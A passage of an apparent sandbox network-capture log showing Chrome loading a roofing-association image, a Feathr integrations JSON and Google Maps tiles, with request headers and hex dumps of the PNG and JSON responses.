a2 71 af 98 73 09 40 27 ff 53 a2 00 a0 49 1c 30 75 7a 0d a9 17 43 8e 91 f5 00 b0 ce e3 6d 6b 23 8d c8 55 49 bd dd 0b 1e 16 e9 06 9a 5b 09 0c 6a 38 8f c7 c5 3d 00 Data Ascii: YsBf:y&U`.(E2>7<$GK0$rv:'FowT?UZXhRnxiFRE!C;28OeRV!oJt($TPuzO7#ZFX@g,L%rQeg^qs@'SI0uzCmk#UI[j8=
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 08 bc 8d 58 1e 92 61 c0 e5 b3 fa 2a 4e 94 21 f1 90 5f d2 e1 1c d2 8d cb 00 78 9a 8e c5 40 99 b9 8b 26 5e c5 89 83 93 01 95 06 5d 06 80 e2 38 86 bd a3 1c fa a9 40 65 e6 a5 a2 26 f9 c5 9d 79 ea 9a 05 4d 00 3e 2f d9 80 4f f5 71 e8 ab b4 e2 f8 42 2b d5 27 89 3a 9c 71 b9 53 90 0c 93 d6 83 b3 21 a5 9f 7b 3a 04 1a 20 4d 33 3d 42 f6 f9 06 aa 04 18 bd 4c b8 28 7c b0 cb 3e 5e d9 c8 c1 d9 90 d2 ee 18 08 bd f5 9e ff 1b 6d f4 a7 b9 15 cd f6 01 4e 61 89 66 91 41 f3 a8 a7 0b 95 d5 80 2b f9 98 a7 11 40 37 14 7e eb a6 05 ed 00 70 f3 a6 5b 49 dd 52 1a 3d 59 9a 26 29 97 3f 43 9e 5f 11 53 60 50 36 54 6b 75 21 19 4a 5a 00 55 ee b6 a3 81 10 3f c1 e1 93 0f d1 1b 2a e3 bf f2 19 32 10 10 8f a5 d4 00 e0 42 3a dc 6a cc f2 6a 96 ef 9b 41 90 e4 b6 68 5e 01 e5 ea e7 41 f8 c6 09 36 9f Data Ascii: XaN!_x@&^]8@e&yM>/OqB+':qS!{: M3=BL(\|>^mNafA+@7~p[IR=Y&)?C_S`P6Tku!JZU?2B:jjAh^A6
2024-04-23 14:54:22 UTC	180	IN	Data Raw: 36 6f 75 82 e8 18 09 0d 4e 06 9c a7 03 10 3e 1f 9c fe 02 7b 70 6d af 18 05 c2 17 28 13 70 56 1c 7e 4b d8 4c cb 1f 04 40 49 29 3d a4 6b 41 d2 e0 ce 72 e3 22 80 db ea ac 4d 12 33 78 a7 dc eb 00 08 11 81 02 84 8c ee 6c 43 ae ca f7 10 9a 40 a0 d4 0b e0 f9 1b 44 19 93 36 c1 c3 70 0e 64 08 04 f3 a7 02 90 02 03 61 2d ec 7e 7c 13 84 b3 ab 70 46 7d ec 79 f0 4e 39 07 8f 00 a0 11 80 60 9e 39 c5 7e 02 e1 ec 52 64 1b 08 0c 5d 19 b8 a3 b1 ec 53 04 4e c3 38 e6 f7 d3 e1 0b 84 98 0e 05 f0 3f a2 e0 03 59 70 91 92 f1 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 6ouN>{pm(pV~KL@I)=kAr"M3xlC@D6pda-~\|pF}yN9`9~Rd]SN8?YpIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.6	50068	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	718	OUT	GET /wp-content/uploads/2017/04/recycle-150x150.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0
2024-04-23 14:54:22 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:22 GMT Content-Type: image/png Content-Length: 1714 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:29:03 GMT ETag: "1be1e1c-6b2-5d9f3d42491c0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:22 UTC	1714	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 03 00 00 00 0b df 81 d0 00 00 00 24 50 4c 54 45 66 b2 3c 3a 94 2d 75 bc 42 63 b0 3b 7b c0 44 7b c1 44 7c c1 44 7c c1 44 39 94 2c 38 93 2c 38 93 2c 7c c1 44 67 7a 92 a2 00 00 00 0a 74 52 4e 53 00 31 2b 0e 59 87 bf ec a3 e7 c8 23 13 e0 00 00 06 33 49 44 41 54 78 da c5 5c 5b 92 e3 30 08 c4 08 3d 7d ff fb ce c7 38 89 ad 27 10 49 61 6a 6b f3 b1 c9 a0 a6 dd 82 96 b2 00 5f 84 41 72 cf f0 8f 1f e7 9c b3 96 0c ec 0b 63 0c 00 18 b4 e7 28 bc db 95 98 39 42 88 21 1c 06 c0 8c f3 3a bd dd 91 97 a1 98 52 4a 29 c5 80 dc bc 36 64 15 d2 3b 82 01 40 c7 c8 8b 56 67 85 b7 ac fe f3 a2 71 5a a7 33 fb b0 4a 29 c5 03 c0 30 e0 3a 17 c3 f5 e2 d5 03 2e cf 28 23 ae cc ea c8 b2 4a 89 78 ac 3f 57 3e 8d 59 09 df Data Ascii: PNGIHDR$PLTEf<:-uBc;{D{D\|D\|D9,8,8,\|DgztRNS1+Y#3IDATx\[0=}8'Iajk_Arc(9B!:RJ)6d;@VgqZ3J)0:.(#Jx?W>Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.6	50071	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	426	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:22 UTC	892	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:22 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5NWQSJ7zSQABAXqa5WZoD1YKRZ3eNd0JtbgbaAF5MSVItbOrEAlk%2FJyehveUpejsEup%2BQBcdf8Dv0UDq2ynSx2QNZ7Wn5if1jcqcaKHrqOsv82J3dzx4fm1z8I%2BzfU60"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb03fb98cb0d0-ATL
2024-04-23 14:54:22 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.6	50072	172.253.124.147	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	798	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18863!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=42968 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	626	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:21 GMT Cache-Control: public, max-age=899 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 05ffc42c87a806da8 Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 4741 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 36 50 4c 54 45 f1 f3 f4 fb fb fb f8 f8 fb ed ed f1 e1 e1 e5 b9 b9 bd e9 e9 ed d9 dd e1 95 99 9d a5 a9 ad 81 85 89 71 75 79 c9 cd cd ff ff ff 79 7d 81 c5 d9 f8 b1 cd f8 9d c1 f8 2b 9e 87 dd 00 00 11 f5 49 44 41 54 78 da ed fd 8b 7a 23 2d 8e 05 00 70 e7 5e 76 de ff 65 e7 08 ca 89 d3 7f 1c d7 05 aa a8 cd 9e d9 9d e9 af d3 4e 22 21 09 71 90 04 fb 06 c5 72 ce 46 b1 b6 e0 40 e6 c1 f9 5c d0 e6 fb 9b 8f fb ab 2f 29 43 3f 86 59 c9 56 a3 7c 54 58 d6 14 9c 69 e7 92 72 d1 0b 7c 77 de 48 bf af 15 20 15 2f 52 6c 90 9f 49 4b ba db f4 d1 97 e0 2c 04 ed a2 d6 13 2c 80 4b db c8 be 6e 2f 15 60 8a 01 28 c3 Data Ascii: PNGIHDRkXTpHYs6PLTEquyy}+IDATxz#-p^veN"!qrF@\/)C?YV\|TXir\|wH /RlIK,,Kn/`(
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: d8 f5 53 88 49 69 d8 89 9d fa 28 40 fd ea 00 6c a7 09 cc c9 e0 ab 2f 4b a3 2c 6d 75 99 36 76 1f a4 a5 b5 2f a9 ae 0b 42 e0 2f 3d f2 3d 44 52 44 08 ae 3d ef a2 80 db af 0e 40 d8 63 02 f2 65 32 08 d9 95 55 46 8a f2 cd b1 ec 59 49 3a e7 e1 8f 5c 24 a9 23 2b 99 4f 09 10 14 1f db c7 fe 19 f7 37 06 b0 d3 04 8a 0f c8 7f 7d 80 56 9e 76 b4 3c c3 87 72 be 71 16 11 0f b1 ce 56 ef c7 d7 11 18 58 67 bc 89 00 84 3d 26 f0 43 32 28 95 b5 e6 4b 78 52 10 32 1d 9e 2d 16 3d 84 ac a6 48 01 40 3e 96 be 33 e4 c7 c7 fb 7f b3 c3 04 fe 65 45 4c 91 3e 7f 87 87 c3 73 a8 21 84 10 15 42 06 3f 48 78 82 5a a0 80 5d 26 50 59 91 ea 03 64 f8 46 3c 8b 8e 23 3e be 34 39 ed 42 cc 4a a7 9a 14 1c 25 3c e1 7d 0c 64 fb 4c a0 26 83 ea bf d2 f3 62 0d 08 83 70 f9 e0 74 92 25 e2 89 03 65 2f 78 1f 03 Data Ascii: SIi(@l/K,mu6v/B/==DRD=@ce2UFYI:\$#+O7}Vv<rqVXg=&C2(KxR2-=H@>3eEL>s!B?HxZ]&PYdF<#>49BJ%<}dL&bpt%e/x
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 6d 43 2d 7e 3e 10 fd 20 f7 fd 8e bf 42 83 ad ba dd 9f b4 f0 5f 1c e7 fc 33 30 d5 8f 46 3e 50 fb c8 96 8f 7f 23 87 5f cb fd fd 43 cf 5a f8 01 87 59 7f 81 c8 4c a3 fe 1b 6d 64 db 7a 7e 1f 3e 20 bf c9 f4 a3 dc df 41 5a f8 09 c7 8a cf 66 5e 18 a3 6e 36 8e f4 aa 3e 60 ef 4b e5 1e 0e bc de 90 c7 ad b3 9d 54 f5 01 b2 dc 6b 09 fe 00 8a 44 bc 4e 16 23 ee 16 2b c0 14 db 7d 58 7b 25 c6 2e 2a 3d a3 22 11 57 e6 3a 2e 1b ea f6 43 f8 b2 23 55 cf 6f c0 e3 3c fc fe 5f ca db ed 11 e2 ca fe 35 ff f5 28 95 c3 3b 50 c6 ed be 69 86 37 f7 2f e1 bf 7f 45 8e 53 3d bf 15 4a bc 57 40 91 ff f6 e3 e1 f4 e7 f9 4a 57 c2 12 05 98 db 4b 09 cd b0 2d f5 4b a1 f6 15 7b 0c db 52 bf 18 6a d7 bc dd 71 5b ea 17 c3 ec 54 80 ba ba 0f 98 9d bd a0 b3 0f 8c d6 52 bf 1c 35 8a ed 30 e1 31 5b ea 97 a3 Data Ascii: mC-~> B_30F>P#_CZYLmdz~> AZf^n6>`KTkDN#+}X{%.*="W:.C#Uo<_5(;Pi7/ES=JW@JWK-K{Rjq[TR501[
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 06 3e 0a 55 f9 73 27 f9 c9 05 70 18 04 ed 3f aa 02 ea 55 78 bf 61 47 95 0e 41 8e 3d a8 0b 98 c2 01 74 1c f6 84 b3 80 a5 eb 7e 3b a6 02 2a 07 82 cb 5a d6 0b 98 ce 1b bd df 3a a1 bc 37 e6 04 90 75 bc 80 16 e5 32 d0 e7 21 83 e0 01 f2 63 e1 35 1e b0 8e ce 8c 68 01 95 02 e9 93 00 3d c0 2d d5 bd 8c 19 03 7a 26 80 9f c0 8d 7f d9 05 06 74 81 2a 3f ef 2b 3f 9e b0 4e c1 a9 34 1a 25 5a ef a9 3b 26 80 9f 10 7c 42 1e 94 06 4b 85 11 99 b9 cd 47 c8 0f 05 44 93 a7 ec f4 58 0a 40 41 92 eb 9b 00 3d 80 e7 6b 35 0a a1 42 1a 48 01 54 9b 81 8d 49 1c d2 d6 0e 0b 28 cf 54 b0 71 62 00 ec 5f 27 9f 26 27 8f 28 42 42 7d 30 b1 a2 99 0f d3 3a 89 e7 73 a6 30 81 a5 9a a6 e4 0e 88 cd e0 02 29 dd 1e a6 71 4e d0 03 4a e5 88 26 42 3c e6 c6 76 ac ce 41 6c 4b e5 09 2d 85 20 a8 8e b8 af 23 32 Data Ascii: >Us'p?UxaGA=t~;Z:7u2!c5h=-z&t?+?N4%Z;&\|BKGDX@A=k5BHTI(Tqb_'&'(BB}0:s0)qNJ&B<vAlK- #2
2024-04-23 14:54:22 UTC	347	IN	Data Raw: 00 16 cf ef 32 fb a9 3f 90 12 eb 7a 78 2b 57 57 94 c6 27 e1 68 a8 70 f1 04 08 4f 7a 20 0b 87 c9 ff 0b 4e 8b ff 90 f8 92 26 f0 b8 b6 62 54 45 5e 15 80 33 52 ae 53 95 7f 05 c6 2c cf ee f0 89 8b 9a 40 29 d4 40 02 67 78 6d 5d 22 47 a8 aa 78 05 c1 8a 3b a8 7f a7 2c 5f d4 04 1e 23 73 d1 50 84 96 2a 2b 69 f5 5f 29 00 f3 f7 6b 28 f8 79 c2 f4 45 4d 60 06 6a f7 a9 82 d0 d2 b8 61 cc 59 51 14 03 4b fc 13 a5 cd 46 50 d2 f7 c3 b2 3f a3 cf 08 b8 c3 50 5c 81 c6 57 70 f4 56 d1 24 75 ec 7a 88 fd 25 04 da d7 cb fe 8c 6b 9b 00 9b 9f 99 d8 41 e5 3c c6 40 b2 3f 8b 3a 05 ed c2 26 b0 1b ff 6f 02 d5 04 24 bf c2 e0 da 2e a8 d3 80 91 5e 8d 3f b7 b5 0f aa 09 80 66 f8 ab 0a 20 13 b0 68 48 50 7f d6 07 0c 9d 27 ed c0 b7 22 dd 21 ca 51 ca e0 a1 a6 3f ea 04 a0 9b 15 a8 56 d4 48 fc 51 13 Data Ascii: 2?zx+WW'hpOz N&bTE^3RS,@)@gxm]"Gx;,_#sP*+i_)k(yEM`jaYQKFP?P\WpV$uz%kA<@?:&o$.^?f hHP'"!Q?VHQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.6	50074	172.253.124.147	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	798	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18860!3i24909!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=69732 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	626	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:21 GMT Cache-Control: public, max-age=899 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 0602f01c9ef628f7d Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 4083 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=3 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 33 50 4c 54 45 f1 f3 f4 fb fb fb f8 f8 fb e1 e1 e5 e9 e9 ed ed ed f1 71 75 79 dd dd e1 e5 e5 e9 a9 b5 b9 d1 d9 dd bd c9 cd 91 a5 a9 ff ff ff 79 91 9d 55 6d 79 9d c1 f8 8c bb 22 2b 00 00 0f 66 49 44 41 54 78 da ed fd 89 62 e3 28 0c 05 00 70 73 f8 9a ff ff da 7d 12 d8 71 da 24 3d 36 c6 b8 f6 9b dd 69 ea 1c 93 27 4b 42 12 20 c4 57 b0 7e 00 7c f0 62 60 28 ed 2d 5d 37 da 07 5c 12 5e 1c 01 9a be bd 09 bf 79 ab d5 59 00 92 e9 4b e3 f9 53 82 d7 36 5f d1 56 1c 00 c1 e0 ab 42 0c bf 80 0d 74 db cb ed 17 9a f8 da c0 37 3f 4b c4 1f 42 00 26 f0 77 fd cd 5b 59 00 85 6c f0 5e 6b fc 65 e4 7c 49 e9 5f a9 Data Ascii: PNGIHDRkXTpHYs3PLTEquyyUmy"+fIDATxb(ps}q$=6i'KB W~\|b`(-]7\^yYKS6_VBt7?KB&w[Yl^ke\|I_
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 6e f1 96 cf 85 bb b8 97 7c 21 3e e1 be d8 61 74 79 67 db 2a f0 3d f2 50 e8 bb 74 ce af e2 de 72 dd ac e5 93 5f d4 bc 0a dc 82 fb 9f 90 67 14 6a f6 55 79 6f 29 0c 36 a9 02 f6 2e b8 7f 49 fe c1 fd cb 4f 0b ff ba 62 ea 67 35 69 4d 05 fe 1f 79 02 bf 40 7f 55 e1 0a 73 1c d9 92 0a 7c 8b 3c 8d 75 4f c9 13 d8 f8 bf 2c 17 e7 94 78 68 47 05 be 4d 5e 9b 2f be f0 6b e3 5f a0 4b 8e dc 84 0a bc 8d 3c c1 7f 6f ba 24 57 55 87 fd 55 c0 7c 4c e8 ff 0f 79 c2 77 e9 cc 23 e1 9e 2a f0 76 f2 3f c1 12 0c ed a4 02 bb 92 67 cc 23 e1 2f a7 d9 ff 0f be 4d 7e d3 f9 8a 25 18 aa ab 02 6d 90 27 2c 23 61 3d 15 e0 52 4e 13 e4 19 4b 30 b4 91 0a a4 38 3a e7 c6 98 f8 b7 97 75 ac fa e4 19 4b 55 91 55 40 c9 5c 4d 91 52 aa db 6b 14 e1 37 1f 1e 7a 37 66 b8 5e 9b f6 c8 03 52 cd 5f 89 55 40 1a e2 Data Ascii: n\|!>atyg=Ptr_gjUyo)6.IObg5iMy@Us\|<uO,xhGM^/k_K<o$WUU\|Lyw#v?g#/M~%m',#a=RNK08:uKUU@\MRk7z7f^R_U@
2024-04-23 14:54:22 UTC	1255	IN	Data Raw: 15 68 de 03 d2 b2 c9 b2 be 92 c8 8f 1c cd 22 dd 73 f4 f3 99 00 38 7f bc 13 80 a2 34 51 72 fd 60 fd d9 50 80 03 2c 46 35 73 91 0a 7a cf a9 9f ca e9 de 5d 14 34 e7 88 22 cf a6 24 bd 0e fb 38 4c a2 34 31 de 59 00 6c c0 b5 3e 04 dc 83 53 3e 7a c0 54 e7 6c 4f e5 f9 31 7a 8c 4d 59 c3 07 48 5c 53 2a 0f 9f c6 a5 fb 38 3a 35 ef 02 7f 84 a0 1f d0 bf ad 40 cd 15 22 f1 67 f1 05 fd 32 8f 28 fe 2a be a4 2f 56 55 94 bf 87 ef d0 ff c3 30 9f e9 a3 82 72 22 fa f6 01 fd a3 34 5a f8 df 30 fa 73 c7 81 8b be 38 09 2e fa 17 fd 8b fe 39 e9 db 07 f4 55 38 11 7d f3 88 fe 91 b7 9a ff 04 17 fd 8b fe 45 ff a2 7f d1 bf e8 d3 ee cb f3 d0 0f 9f 9b 4d 48 a3 2f fa a7 c0 45 ff a2 7f d1 bf e8 9f 90 be 78 44 df 9e 88 fe b9 a7 79 2e fa 17 fd 8b fe 45 ff a2 7f 36 fa d7 04 ff 35 cb 75 d1 bf e8 Data Ascii: h"s84Qr`P,F5sz]4"$8L41Yl>S>zTlO1zMYH\S8:5@"g2(/VU0r"4Z0s8.9U8}EMH/ExDy.E65u
2024-04-23 14:54:22 UTC	944	IN	Data Raw: 2a a8 fb 16 05 6e 28 0d 0d 74 d0 37 fa 62 f6 02 72 c3 7d fe 7b 15 c6 3e 21 b7 b4 40 34 b0 d0 5f 22 42 eb b7 d4 50 df 88 0d 88 fb c3 e5 c5 2d 24 f2 db d6 6c 5a b1 81 39 1a 28 f4 97 98 40 6f 5d 39 b6 bb 17 05 66 98 32 16 62 d8 37 b7 90 68 7b e3 dc bf 28 30 23 27 05 62 c9 86 73 48 b4 39 f6 2e 8c dd 50 46 82 95 ef ab a2 97 a6 19 1b 28 23 41 86 f5 d5 ea d5 0d 75 13 58 d2 41 51 73 e6 b4 a1 7e 12 39 32 af e3 fb 6e 68 a9 9f 42 f6 83 b5 1b 3c 35 64 03 fb f4 b8 6b a9 a7 4a f6 83 b6 ee 97 31 2d 6d 24 e4 d0 5c d6 4d 4e b2 eb 11 6d ac e2 35 7b b4 39 0b 39 15 f5 4d 2c 63 2e 7e b0 62 68 ca 2b 77 52 74 58 bb d3 c2 22 de ec 07 55 3d 3f 08 c5 c7 4a 56 37 c6 be 6f 64 25 3b 97 c7 4c 35 3f 88 bd 1c 6e 1c b1 72 4d 8e 8d ec e9 c8 7e b0 9a 0a 28 fc 53 12 db 5a b0 88 b7 11 01 e4 Data Ascii: *n(t7br}{>!@4_"BP-$lZ9(@o]9f2b7h{(0#'bsH9.PF(#AuXAQs~92nhB<5dkJ1-m$\MNm5{99M,c.~bh+wRtX"U=?JV7od%;L5?nrM~(SZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.6	50073	172.253.124.147	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	798	OUT	GET /maps/vt?pb=!1m5!1m4!1i16!2i18860!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=63550 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:22 UTC	626	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Tue, 23 Apr 2024 14:54:22 GMT Expires: Tue, 23 Apr 2024 15:09:21 GMT Cache-Control: public, max-age=899 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin ETag: 04bddb568c0f6e9ea Content-Security-Policy: script-src 'none'; object-src 'none'; base-uri 'none' X-Content-Type-Options: nosniff x-server-version-bin: CgoIBBCxq5ixBhgB Server: scaffolding on HTTPServer2 Content-Length: 3546 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=2 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-23 14:54:22 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 03 00 00 00 6b ac 58 54 00 00 00 09 70 48 59 73 00 00 00 1c 00 00 00 1c 00 0f 01 b9 8f 00 00 00 2a 50 4c 54 45 f1 f3 f4 dd dd e1 a9 b5 b9 fb fb fb e5 e9 e9 ed ed ed e1 e1 e5 f8 f8 fb c5 c9 c9 ff ff ff 91 95 99 71 75 79 e9 e9 ed 81 85 89 b1 50 f3 f0 00 00 0d 56 49 44 41 54 78 da ed fd 89 72 dc 28 10 05 00 70 73 48 fa ff df cd 6b d0 c4 63 cf 29 24 d4 8c f1 ab dd d4 56 36 76 cc 9b a6 2f fa 10 7b 61 e6 18 a3 77 62 58 38 0b 02 ec c8 04 78 10 30 1b 31 2c a4 06 01 ce 8a 51 61 25 ce 1f a5 18 16 d6 90 0e 1c 98 00 43 3a 50 8c ac 03 05 19 81 91 75 20 19 01 33 8b 61 91 75 e0 c8 46 c0 fd 19 81 b1 8d 40 21 60 60 23 f0 27 01 a3 eb 00 21 ff 08 f8 23 e0 8f 80 b1 09 18 3c 1d 50 12 42 e6 8f 00 31 2c Data Ascii: PNGIHDRkXTpHYs*PLTEquyPVIDATxr(psHkc)$V6v/{awbX8x01,Qa%C:Pu 3auF@!``#'!#<PB1,
